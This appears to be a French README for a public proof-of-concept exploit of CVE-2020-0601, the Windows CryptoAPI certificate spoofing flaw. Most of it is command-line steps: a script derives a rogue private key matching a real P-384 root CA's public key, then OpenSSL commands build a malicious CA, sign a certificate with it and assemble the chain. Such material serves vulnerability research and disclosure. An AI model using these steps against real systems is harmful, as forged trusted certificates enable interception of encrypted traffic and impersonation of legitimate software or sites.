
Un PoC pour CVE-2020-0601
CVE-2020-0601 : Exploitation de la vulnérabilité de falsification de Windows CryptoAPI. Plus d'informations dans notre billet de blog.
pip install -U -r requirements.txt
La génération de certificats fonctionne avec OpenSSL version jusqu'à 1.0.2u.
Nous avons utilisé l'Autorité de certification ECC USERTrust mais il peut s'agir de tout certificat racine fonctionnant sur la courbe P-384.
Pour générer une clé privée qui correspond à la clé publique du certificat racine, nous avons utilisé le script gen-key.py (fonctionne avec Python 3.6 et supérieur) :
$ ./gen-key.py RootCert.pem
La clé peut être affichée avec :
$ openssl ec -in p384-key-rogue.pem -text
Ensuite, pour générer le CA malveillant :
$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500
Ensuite, nous générons la clé privée et le certificat suivants :
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
Enfin, pour obtenir la chaîne complète dans un seul fichier, nous concaténons le certificat CA et le certificat serveur :
cat client-cert.pem ca-rogue.pem > cert.pem